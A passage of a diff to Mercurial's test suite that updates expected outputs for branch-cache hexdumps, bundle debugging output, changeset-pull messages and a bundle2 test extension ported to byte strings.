+  0090: c9 14 c9 9f 00 00 00 06 cd 21 a8 0b 80 00 00 05 |.........!......|
 cache is updated/truncated when stripping - it is thus very hard to get in a
 situation where the cache is out of sync and the hash check detects it
   $ hg --config extensions.strip= strip -r tip --nob
   $ f --size .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=112
+  .hg/cache/rbc-revs-v1: size=152
 
 cache is rebuilt when corruption is detected
   $ echo > .hg/cache/rbc-names-v1
@@ -701,13 +860,14 @@
   referenced branch names not found - rebuilding revision branch cache from scratch
   8 9 10 11 12 13 truncating cache/rbc-revs-v1 to 40
   $ f --size --hexdump .hg/cache/rbc-*
-  .hg/cache/rbc-names-v1: size=79
+  .hg/cache/rbc-names-v1: size=84
   0000: 62 00 61 00 63 00 61 20 62 72 61 6e 63 68 20 6e |b.a.c.a branch n|
   0010: 61 6d 65 20 6d 75 63 68 20 6c 6f 6e 67 65 72 20 |ame much longer |
   0020: 74 68 61 6e 20 74 68 65 20 64 65 66 61 75 6c 74 |than the default|
   0030: 20 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 20 75 | justification u|
-  0040: 73 65 64 20 62 79 20 62 72 61 6e 63 68 65 73    |sed by branches|
-  .hg/cache/rbc-revs-v1: size=112
+  0040: 73 65 64 20 62 79 20 62 72 61 6e 63 68 65 73 00 |sed by branches.|
+  0050: 6d 00 6d 64                                     |m.md|
+  .hg/cache/rbc-revs-v1: size=152
   0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0020: 00 00 00 00 00 00 00 00 d8 cb c6 1d 00 00 00 01 |................|
@@ -715,6 +875,9 @@
   0040: ee bb 94 44 00 00 00 00 5f 40 61 bb 00 00 00 00 |...D...._@a.....|
   0050: bf be 84 1b 00 00 00 00 d3 f1 63 45 80 00 00 00 |..........cE....|
   0060: e3 d4 9c 05 80 00 00 00 e2 3b 55 05 00 00 00 00 |.........;U.....|
+  0070: f8 94 c2 56 80 00 00 02 f3 44 76 37 00 00 00 04 |...V.....Dv7....|
+  0080: a5 8c a5 d3 00 00 00 04 df 34 3b 0d 00 00 00 04 |.........4;.....|
+  0090: c9 14 c9 9f 00 00 00 05                         |........|
 
 Test that cache files are created and grows correctly:
 
@@ -724,7 +887,7 @@
   $ f --size --hexdump .hg/cache/rbc-*
   .hg/cache/rbc-names-v1: size=1
   0000: 61                                              |a|
-  .hg/cache/rbc-revs-v1: size=112
+  .hg/cache/rbc-revs-v1: size=152
   0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0020: 00 00 00 00 00 00 00 00 d8 cb c6 1d 00 00 00 00 |................|
@@ -732,6 +895,9 @@
   0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
   0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+  0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+  0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+  0090: 00 00 00 00 00 00 00 00                         |........|
 
   $ cd ..
 
diff --git a/tests/test-bundle-phases.t b/tests/test-bundle-phases.t
--- a/tests/test-bundle-phases.t
+++ b/tests/test-bundle-phases.t
@@ -37,12 +37,12 @@
   $ hg bundle --base B -r E bundle
   3 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '3'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 3, targetphase: 2, version: 02}
       26805aba1e600a82e93661149f2313866a221a7b
       f585351a92f85104bff7c284233c338b10eb1df7
       9bc730a19041f9ec7cb33c626e811aa233efb18c
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       26805aba1e600a82e93661149f2313866a221a7b draft
   $ hg strip --no-backup C
   $ hg unbundle -q bundle
@@ -226,14 +226,14 @@
   $ hg bundle -a bundle
   5 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '5'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 5, targetphase: 2, version: 02}
       426bada5c67598ca65036d57d9e4b64b0c1ce7a0
       112478962961147124edd43549aedd1a335e44bf
       dc0947a82db884575bb76ea10ac97b08536bfa03
       4e4f9194f9f181c57f62e823e8bdfa46ab9e4ff4
       03ca77807e919db8807c3749086dc36fb478cac0
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       dc0947a82db884575bb76ea10ac97b08536bfa03 public
       03ca77807e919db8807c3749086dc36fb478cac0 draft
   $ hg strip --no-backup A
@@ -254,32 +254,32 @@
   $ hg bundle --base 'A + C' -r D bundle
   2 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 2, targetphase: 2, version: 02}
       112478962961147124edd43549aedd1a335e44bf
       4e4f9194f9f181c57f62e823e8bdfa46ab9e4ff4
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
   $ rm bundle
 
   $ hg bundle --base A -r D bundle
   3 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '3'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 3, targetphase: 2, version: 02}
       112478962961147124edd43549aedd1a335e44bf
       dc0947a82db884575bb76ea10ac97b08536bfa03
       4e4f9194f9f181c57f62e823e8bdfa46ab9e4ff4
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       dc0947a82db884575bb76ea10ac97b08536bfa03 public
   $ rm bundle
 
   $ hg bundle --base 'B + C' -r 'D + E' bundle
   2 changesets found
   $ hg debugbundle bundle
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2'), ('targetphase', '2')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 2, targetphase: 2, version: 02}
       4e4f9194f9f181c57f62e823e8bdfa46ab9e4ff4
       03ca77807e919db8807c3749086dc36fb478cac0
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       03ca77807e919db8807c3749086dc36fb478cac0 draft
   $ rm bundle
diff --git a/tests/test-bundle-r.t b/tests/test-bundle-r.t
--- a/tests/test-bundle-r.t
+++ b/tests/test-bundle-r.t
@@ -5,6 +5,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -26,6 +27,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets bfaf4b5cbf01
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -39,6 +41,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:21f32785131f
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -52,6 +55,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:4ce51a113780
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -65,6 +69,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets bfaf4b5cbf01:93ee6ab32777
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -78,6 +83,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:c70afb1ee985
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -91,6 +97,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:f03ae5a9b979
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -104,6 +111,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:095cb14b1b4d
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -117,6 +125,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 3 files
+  new changesets bfaf4b5cbf01:faa2e4234c7a
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -130,6 +139,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -145,6 +155,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -223,6 +234,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 4 changes to 4 files (+1 heads)
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 revision 8
@@ -247,6 +259,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg update' to get a working copy)
 
 revision 4
@@ -266,6 +279,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 3 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 revision 6
@@ -285,6 +299,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg update' to get a working copy)
 
 revision 4
@@ -318,6 +333,7 @@
   adding manifests
   adding file changes
   added 7 changesets with 4 changes to 4 files
+  new changesets 93ee6ab32777:03fc0b0e347c
   (run 'hg update' to get a working copy)
 
 revision 9
diff --git a/tests/test-bundle-type.t b/tests/test-bundle-type.t
--- a/tests/test-bundle-type.t
+++ b/tests/test-bundle-type.t
@@ -26,6 +26,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets c35a0f9217e6
   (run 'hg update' to get a working copy)
   $ hg up
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -73,7 +74,7 @@
   1 changesets found
   HG20\x00\x00 (esc)
   Stream params: {}
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   none-v2
   
@@ -81,8 +82,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   bzip2-v2
   
@@ -90,8 +91,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'GZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: GZ}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   gzip-v2
   
@@ -100,7 +101,7 @@
   1 changesets found
   HG20\x00\x00 (esc)
   Stream params: {}
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   none-v2
   
@@ -108,8 +109,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   bzip2-v2
   
@@ -167,8 +168,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'ZS')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: ZS}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   zstd-v2
   
@@ -176,8 +177,8 @@
   searching for changes
   1 changesets found
   HG20\x00\x00 (esc)
-  Stream params: sortdict([('Compression', 'ZS')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: ZS}
+  changegroup -- {nbchanges: 1, version: 02}
       c35a0f9217e65d1fdb90c936ffa7dbe679f83ddf
   zstd-v2
   
diff --git a/tests/test-bundle-vs-outgoing.t b/tests/test-bundle-vs-outgoing.t
--- a/tests/test-bundle-vs-outgoing.t
+++ b/tests/test-bundle-vs-outgoing.t
@@ -106,6 +106,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets 6ae4cca4e39a:478f191e53f8
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-bundle.t b/tests/test-bundle.t
--- a/tests/test-bundle.t
+++ b/tests/test-bundle.t
@@ -104,6 +104,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Rollback empty
@@ -120,6 +121,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Pull full.hg into test (using -R)
@@ -150,6 +152,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Log -R full.hg in fresh empty
@@ -232,6 +235,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=f9ee2f85a263049e9ae6d37a0e67e96194ffb735 HG_NODE_LAST=aa35859c02ea8bd48da5da68cd2740ac71afcbaf HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=bundle*../full.hg (glob)
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
@@ -255,6 +259,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=f9ee2f85a263049e9ae6d37a0e67e96194ffb735 HG_NODE_LAST=aa35859c02ea8bd48da5da68cd2740ac71afcbaf HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=bundle:empty+full.hg
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
@@ -387,6 +392,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets f9ee2f85a263:eebf5a27f8ca
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg clone partial partial2
@@ -541,6 +547,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R full-clone heads
@@ -580,10 +587,12 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets f9ee2f85a263
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 34c2bf6b0626
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 View full contents of the bundle
diff --git a/tests/test-bundle2-exchange.t b/tests/test-bundle2-exchange.t
--- a/tests/test-bundle2-exchange.t
+++ b/tests/test-bundle2-exchange.t
@@ -15,7 +15,8 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers,exchange
+  > evolution.createmarkers=True
+  > evolution.exchange=True
   > bundle2-output-capture=True
   > [ui]
   > ssh="$PYTHON" "$TESTDIR/dummyssh"
@@ -49,6 +50,7 @@
   adding file changes
   added 8 changesets with 7 changes to 7 files (+3 heads)
   pre-close-tip:02de42196ebe draft 
+  new changesets cd010b8cd998:02de42196ebe
   postclose-tip:02de42196ebe draft 
   txnclose hook: HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NODE=cd010b8cd998f3981a5a8115f94f8da4ab506089 HG_NODE_LAST=02de42196ebee42ef284b6780a87cdc96e8eaab6 HG_PHASES_MOVED=1 HG_SOURCE=unbundle HG_TXNID=TXN:$ID$ HG_TXNNAME=unbundle
   bundle:*/tests/bundles/rebase.hg HG_URL=bundle:*/tests/bundles/rebase.hg (glob)
@@ -83,6 +85,7 @@
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
   pre-close-tip:9520eea781bc draft 
+  new changesets cd010b8cd998:9520eea781bc
   postclose-tip:9520eea781bc draft 
   txnclose hook: HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NEW_OBSMARKERS=1 HG_NODE=cd010b8cd998f3981a5a8115f94f8da4ab506089 HG_NODE_LAST=9520eea781bcca16c1e15acc0ba14335a0e8e5ba HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_TXNNAME=pull
   file:/*/$TESTTMP/main HG_URL=file:$TESTTMP/main (glob)
@@ -111,6 +114,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   pre-close-tip:24b6387c8c8c draft 
+  new changesets 24b6387c8c8c
   postclose-tip:24b6387c8c8c draft 
   txnclose hook: HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NEW_OBSMARKERS=1 HG_NODE=24b6387c8c8cae37178880f3fa95ded3cb1cf785 HG_NODE_LAST=24b6387c8c8cae37178880f3fa95ded3cb1cf785 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_TXNNAME=pull
   file:/*/$TESTTMP/main HG_URL=file:$TESTTMP/main (glob)
@@ -249,9 +253,6 @@
   remote: added 1 changesets with 0 changes to 0 files (-1 heads)
   remote: 1 new obsolescence markers
   remote: pre-close-tip:eea13746799a public book_eea1
-  remote: pushkey: lock state after "phases"
-  remote: lock:  free
-  remote: wlock: free
   remote: pushkey: lock state after "bookmarks"
   remote: lock:  free
   remote: wlock: free
@@ -288,6 +289,7 @@
   1 new obsolescence markers
   updating bookmark book_02de
   pre-close-tip:02de42196ebe draft book_02de
+  new changesets 02de42196ebe
   postclose-tip:02de42196ebe draft book_02de
   txnclose hook: HG_BOOKMARK_MOVED=1 HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NEW_OBSMARKERS=1 HG_NODE=02de42196ebee42ef284b6780a87cdc96e8eaab6 HG_NODE_LAST=02de42196ebee42ef284b6780a87cdc96e8eaab6 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_TXNNAME=pull
   ssh://user@dummy/main HG_URL=ssh://user@dummy/main
@@ -313,6 +315,7 @@
   1 new obsolescence markers
   updating bookmark book_42cc
   pre-close-tip:42ccdea3bb16 draft book_42cc
+  new changesets 42ccdea3bb16
   postclose-tip:42ccdea3bb16 draft book_42cc
   txnclose hook: HG_BOOKMARK_MOVED=1 HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NEW_OBSMARKERS=1 HG_NODE=42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 HG_NODE_LAST=42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_TXNNAME=pull
   http://localhost:$HGPORT/ HG_URL=http://localhost:$HGPORT/
@@ -387,9 +390,6 @@
   remote: added 1 changesets with 1 changes to 1 files
   remote: 1 new obsolescence markers
   remote: pre-close-tip:32af7686d403 public book_32af
-  remote: pushkey: lock state after "phases"
-  remote: lock:  free
-  remote: wlock: free
   remote: pushkey: lock state after "bookmarks"
   remote: lock:  free
   remote: wlock: free
@@ -456,9 +456,18 @@
   > from mercurial import bundle2
   > from mercurial import exchange
   > from mercurial import extensions
+  > from mercurial import registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > 
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > configitem('failpush', 'reason',
+  >     default=None,
+  > )
   > 
   > def _pushbundle2failpart(pushop, bundler):
-  >     reason = pushop.ui.config('failpush', 'reason', None)
+  >     reason = pushop.ui.config('failpush', 'reason')
   >     part = None
   >     if reason == 'abort':
   >         bundler.newpart('test:abort')
@@ -998,6 +1007,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1029,7 +1039,7 @@
   > [server]
   > bundle1 = false
   > EOF
-  $ hg -R bundle2onlyserver serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve -R bundle2onlyserver -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid >> $DAEMON_PIDS
   $ hg --config devel.legacy.exchange=bundle1 clone http://localhost:$HGPORT not-bundle2
   requesting all changes
@@ -1053,7 +1063,7 @@
   > [server]
   > bundle1gd = false
   > EOF
-  $ hg -R bundle2onlyserver serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve -R bundle2onlyserver -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid >> $DAEMON_PIDS
 
   $ hg --config devel.legacy.exchange=bundle1 clone http://localhost:$HGPORT/ not-bundle2
@@ -1079,6 +1089,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1105,6 +1116,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd bundle2-only
diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -12,8 +12,9 @@
   > This extension allows detailed testing of the various bundle2 API and
   > behaviors.
   > """
-  > 
-  > import sys, os, gc
+  > import gc
+  > import os
+  > import sys
   > from mercurial import util
   > from mercurial import bundle2
   > from mercurial import scmutil
@@ -21,6 +22,7 @@
   > from mercurial import changegroup
   > from mercurial import error
   > from mercurial import obsolete
+  > from mercurial import pycompat
   > from mercurial import registrar
   > 
   > 
@@ -35,74 +37,74 @@
   > cmdtable = {}
   > command = registrar.command(cmdtable)
   > 
-  > ELEPHANTSSONG = """Patali Dirapata, Cromda Cromda Ripalo, Pata Pata, Ko Ko Ko
+  > ELEPHANTSSONG = b"""Patali Dirapata, Cromda Cromda Ripalo, Pata Pata, Ko Ko Ko
   > Bokoro Dipoulito, Rondi Rondi Pepino, Pata Pata, Ko Ko Ko
   > Emana Karassoli, Loucra Loucra Ponponto, Pata Pata, Ko Ko Ko."""
   > assert len(ELEPHANTSSONG) == 178 # future test say 178 bytes, trust it.
   > 
-  > @bundle2.parthandler('test:song')
+  > @bundle2.parthandler(b'test:song')
   > def songhandler(op, part):
   >     """handle a "test:song" bundle2 part, printing the lyrics on stdin"""
-  >     op.ui.write('The choir starts singing:\n')
+  >     op.ui.write(b'The choir starts singing:\n')
   >     verses = 0
-  >     for line in part.read().split('\n'):
-  >         op.ui.write('    %s\n' % line)
+  >     for line in part.read().split(b'\n'):
+  >         op.ui.write(b'    %s\n' % line)
   >         verses += 1
-  >     op.records.add('song', {'verses': verses})
+  >     op.records.add(b'song', {b'verses': verses})
   > 
-  > @bundle2.parthandler('test:ping')
+  > @bundle2.parthandler(b'test:ping')
   > def pinghandler(op, part):
-  >     op.ui.write('received ping request (id %i)\n' % part.id)
-  >     if op.reply is not None and 'ping-pong' in op.reply.capabilities:
-  >         op.ui.write_err('replying to ping request (id %i)\n' % part.id)
-  >         op.reply.newpart('test:pong', [('in-reply-to', str(part.id))],
+  >     op.ui.write(b'received ping request (id %i)\n' % part.id)
+  >     if op.reply is not None and b'ping-pong' in op.reply.capabilities:
+  >         op.ui.write_err(b'replying to ping request (id %i)\n' % part.id)
+  >         op.reply.newpart(b'test:pong', [(b'in-reply-to', b'%d' % part.id)],
   >                          mandatory=False)
   > 
-  > @bundle2.parthandler('test:debugreply')
+  > @bundle2.parthandler(b'test:debugreply')
   > def debugreply(op, part):
   >     """print data about the capacity of the bundle reply"""
   >     if op.reply is None:
-  >         op.ui.write('debugreply: no reply\n')
+  >         op.ui.write(b'debugreply: no reply\n')
   >     else:
-  >         op.ui.write('debugreply: capabilities:\n')
+  >         op.ui.write(b'debugreply: capabilities:\n')
   >         for cap in sorted(op.reply.capabilities):
-  >             op.ui.write('debugreply:     %r\n' % cap)
+  >             op.ui.write(b"debugreply:     '%s'\n" % cap)
   >             for val in op.reply.capabilities[cap]:
-  >                 op.ui.write('debugreply:         %r\n' % val)
+  >                 op.ui.write(b"debugreply:         '%s'\n" % val)
   > 
   > @command(b'bundle2',
-  >          [('', 'param', [], 'stream level parameter'),
-  >           ('', 'unknown', False, 'include an unknown mandatory part in the bundle'),
-  >           ('', 'unknownparams', False, 'include an unknown part parameters in the bundle'),
-  >           ('', 'parts', False, 'include some arbitrary parts to the bundle'),
-  >           ('', 'reply', False, 'produce a reply bundle'),
-  >           ('', 'pushrace', False, 'includes a check:head part with unknown nodes'),
-  >           ('', 'genraise', False, 'includes a part that raise an exception during generation'),
-  >           ('', 'timeout', False, 'emulate a timeout during bundle generation'),
-  >           ('r', 'rev', [], 'includes those changeset in the bundle'),
-  >           ('', 'compress', '', 'compress the stream'),],
-  >          '[OUTPUTFILE]')
+  >          [(b'', b'param', [], b'stream level parameter'),
+  >           (b'', b'unknown', False, b'include an unknown mandatory part in the bundle'),
+  >           (b'', b'unknownparams', False, b'include an unknown part parameters in the bundle'),
+  >           (b'', b'parts', False, b'include some arbitrary parts to the bundle'),
+  >           (b'', b'reply', False, b'produce a reply bundle'),
+  >           (b'', b'pushrace', False, b'includes a check:head part with unknown nodes'),
+  >           (b'', b'genraise', False, b'includes a part that raise an exception during generation'),
+  >           (b'', b'timeout', False, b'emulate a timeout during bundle generation'),
+  >           (b'r', b'rev', [], b'includes those changeset in the bundle'),
+  >           (b'', b'compress', b'', b'compress the stream'),],
+  >          b'[OUTPUTFILE]')
   > def cmdbundle2(ui, repo, path=None, **opts):
   >     """write a bundle2 container on standard output"""
   >     bundler = bundle2.bundle20(ui)
   >     for p in opts['param']:
-  >         p = p.split('=', 1)
+  >         p = p.split(b'=', 1)
   >         try:
   >             bundler.addparam(*p)
-  >         except ValueError, exc:
+  >         except ValueError as exc:
   >             raise error.Abort('%s' % exc)
   > 
   >     if opts['compress']:
   >         bundler.setcompression(opts['compress'])
   > 
   >     if opts['reply']:
-  >         capsstring = 'ping-pong\nelephants=babar,celeste\ncity%3D%21=celeste%2Cville'
-  >         bundler.newpart('replycaps', data=capsstring)
+  >         capsstring = b'ping-pong\nelephants=babar,celeste\ncity%3D%21=celeste%2Cville'
+  >         bundler.newpart(b'replycaps', data=capsstring)
   > 
   >     if opts['pushrace']:
   >         # also serve to test the assignement of data outside of init
-  >         part = bundler.newpart('check:heads')
-  >         part.data = '01234567890123456789'
+  >         part = bundler.newpart(b'check:heads')
+  >         part.data = b'01234567890123456789'
   > 
   >     revs = opts['rev']
   >     if 'rev' in opts:
@@ -113,45 +115,46 @@
   >             headmissing = [c.node() for c in repo.set('heads(%ld)', revs)]
   >             headcommon  = [c.node() for c in repo.set('parents(%ld) - %ld', revs, revs)]
   >             outgoing = discovery.outgoing(repo, headcommon, headmissing)
-  >             cg = changegroup.getchangegroup(repo, 'test:bundle2', outgoing, None)
-  >             bundler.newpart('changegroup', data=cg.getchunks(),
+  >             cg = changegroup.makechangegroup(repo, outgoing, b'01',
+  >                                              b'test:bundle2')
+  >             bundler.newpart(b'changegroup', data=cg.getchunks(),
   >                             mandatory=False)
   > 
   >     if opts['parts']:
-  >        bundler.newpart('test:empty', mandatory=False)
+  >        bundler.newpart(b'test:empty', mandatory=False)
   >        # add a second one to make sure we handle multiple parts
-  >        bundler.newpart('test:empty', mandatory=False)
-  >        bundler.newpart('test:song', data=ELEPHANTSSONG, mandatory=False)
-  >        bundler.newpart('test:debugreply', mandatory=False)
-  >        mathpart = bundler.newpart('test:math')
-  >        mathpart.addparam('pi', '3.14')
-  >        mathpart.addparam('e', '2.72')
-  >        mathpart.addparam('cooking', 'raw', mandatory=False)
-  >        mathpart.data = '42'
+  >        bundler.newpart(b'test:empty', mandatory=False)
+  >        bundler.newpart(b'test:song', data=ELEPHANTSSONG, mandatory=False)
+  >        bundler.newpart(b'test:debugreply', mandatory=False)
+  >        mathpart = bundler.newpart(b'test:math')
